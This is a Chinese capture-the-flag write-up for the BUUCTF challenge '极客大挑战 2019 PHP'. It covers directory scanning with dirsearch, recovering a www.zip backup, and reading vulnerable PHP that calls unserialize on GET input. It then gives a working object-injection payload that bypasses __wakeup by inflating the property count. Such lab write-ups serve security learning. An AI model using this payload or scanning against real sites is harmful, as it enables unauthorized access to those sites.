极客大挑战2019 PHP

[[极客大挑战 2019]PHP-BUUCTF](https://buuoj.cn/challenges#[极客大挑战 2019]PHP)

根据提示,使用kali中的路径扫描工具dirsearch对目标网站进行路径扫描。
dirsearch -u http://1e3e657b-073a-460a-827f-3c0919078760.node5.buuoj.cn:81/

也可以使用御剑后台扫描工具扫描,扫描无果。

查看别人的wp才发现网站备份源码在 /www.zip 中,查看网站源码,发现如下关键语句。
里面有个 flag.php 的 flag 内容是假的。

index.php

1
2
3
4
5
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

观察源码发现,index.php 可以以 get 方式接收一个 select 参数,并将其反序列化。

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
...
class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>

观察源码发现,想要输出flag,需要使参数 username 强等于 admin,使password要弱等于100。

那我们编写一php代码构造序列化对象。

1
2
3
4
5
6
7
8
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
$name = new Name;
print(serialize($name));
?>

可以使用PHP 在线工具 | 菜鸟工具运行代码。
那得到后的字符复制下来会有一些丢失,我们需要用00%代替复制前的方框。
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

再次观察 class.php ,__wakeup()函数赋值在__destruct()函数判断之前执行,那我们需要想办法绕过__wakeup()函数,让说明的参数个数大于实际的参数个数即可。
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

最终Payload
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}